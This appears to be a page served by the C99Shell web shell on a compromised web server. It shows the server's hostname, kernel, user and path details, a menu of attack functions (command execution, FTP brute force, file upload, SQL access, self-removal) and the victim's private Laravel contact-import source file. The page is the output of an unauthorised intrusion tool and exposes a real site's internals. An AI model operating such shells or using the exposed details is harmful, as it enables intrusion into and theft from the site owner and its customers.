!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Imports/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ContactsImport.php (5.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Imports;

use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Group;
use 
App\Models\Label;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;
use 
Maatwebsite\Excel\Concerns\SkipsErrors;
use 
Maatwebsite\Excel\Concerns\SkipsOnError;
use 
Maatwebsite\Excel\Concerns\ToCollection;
use 
Maatwebsite\Excel\Concerns\WithChunkReading;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Concerns\WithHeadingRow;
use 
Maatwebsite\Excel\Events\AfterImport;
use 
Maatwebsite\Excel\Events\BeforeImport;
use 
Maatwebsite\Excel\Events\ImportFailed;

class 
ContactsImport implements ToCollectionWithHeadingRowSkipsOnErrorWithChunkReadingShouldQueueWithEvents
{
    use 
SkipsErrors;

    
// public $group_id = '';

    
public function __construct($group_name$auth_user)
    {
        
$this->auth_user $auth_user;
        
$this->group_name $group_name;
    }


    
/**
     * @param Collection $rows
     * @throws \Throwable
     */
    
public function collection(Collection $rows)
    {
        
$rows=$rows->unique('number');
        
$errorMsg "";
        
DB::beginTransaction();
        
$label$this->auth_user->labels()->where('title''new')->first();
        if (!
$label) {
            
$label = new Label();
            
$label->title 'new';
            
$label->status 'active';
            
$label->customer_id $this->auth_user->id;
            
$label->color 'red';
            
$label->save();
        }

            
$i 0;
        
$contactGroup = [];
        
$data = [];

        
$unique_random_number=Str::random(16);
        foreach (
$rows as $key => $row) {
            
$contactblock Contact::where('number',"+".str_replace('+','',$row['number']))->where('block_contact','block')->orWhere('number',"+".str_replace('+','',$row['number']))->get();
            if(!
$contactblock->isNotEmpty()){
            if (isset(
$row['number']) && $row['number']) {

                
//You can validate other values using same steps.
                
$number="+".str_replace('+','',$row['number']);
                
$data[$i]['number'] = $number;
                
$data[$i]['first_name'] = $row['first_name'] ?? '';
                
$data[$i]['last_name'] = $row['last_name'] ?? '';
                
$data[$i]['email'] = $row['email'] ?? '';
                
$data[$i]['company'] = $row['company'] ?? '';
                
$data[$i]['address'] = $row['address'] ?? '';
                
$data[$i]['city'] = $row['city'] ?? '';
                
$data[$i]['state'] = $row['state'] ?? '';
                
$data[$i]['zip_code'] = $row['zip_code'] ?? '';
                
$data[$i]['note'] = $row['note'] ?? '';
                
$data[$i]['label_id'] = $label $label->id '';
                
$data[$i]['block_contact'] = 'unblock';
                
$data[$i]['customer_id'] = $this->auth_user->id;
                
$data[$i]['unique_random_number'] = $unique_random_number;
                
$i++;
            }
        }
        
// else{
        //     foreach ($contactblock as $contactblocks) {
        //         $contactblocks->contact_groups()->updateOrCreate(
        //             [
        //                 'customer_id' => $this->auth_user->id,
        //                 'contact_id' => $contactblocks->id,
        //                 'group_id' => $this->group_id,
        //             ],
        //             [
        //                 'created_at' => now(),
        //             ]
        //         );
        //     }
        // }
    
}
        if(
$data){
            foreach (
array_chunk($data1000) as $contactChunk) {
                
Contact::insert($contactChunk);
            }
        }

        
$contactIds=Contact::where('unique_random_number',$unique_random_number)->whereNotNull('unique_random_number')->pluck('id');
        if(
$data){
            
$importContact = new Group();
            
$importContact->customer_id auth('customer')->id();
            
$importContact->name $this->group_name;
            
$importContact->save();
        }
        foreach (
$contactIds as $contact_id) {
            
$contactGroup[]=[
                
'customer_id'=>$this->auth_user->id,
                
'contact_id'=>$contact_id,
                
'group_id'=>$importContact->id,
                
'created_at'=>now(),
            ];
        }

        foreach (
array_chunk($contactGroup1000) as $contactGroupChunk) {
            
ContactGroup::insert($contactGroupChunk);
        }

        if (!empty(
$errorMsg)) {
            
// Rollback in case there is error
            
DB::rollBack();
        } else {
            
// Commit to database
            
DB::commit();
        }
    }

    public function 
chunkSize(): int
    
{
        return 
2000;
    }

    public function 
registerEvents(): array
    {
        return [
            
ImportFailed::class => function (ImportFailed $event) {
                
Group::where('customer_id'$this->auth_user->id)->update(['import_status' => 'failed''import_fail_message' => substr($event->getException(), 0191)]);
            },
            
BeforeImport::class => function (BeforeImport $event) {
                
Group::where('customer_id'$this->auth_user->id)->update(['import_status' => 'running']);
            },
            
AfterImport::class => function (AfterImport $event) {
                
Group::where('customer_id'$this->auth_user->id)->update(['import_status' => 'completed']);
            }
        ];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--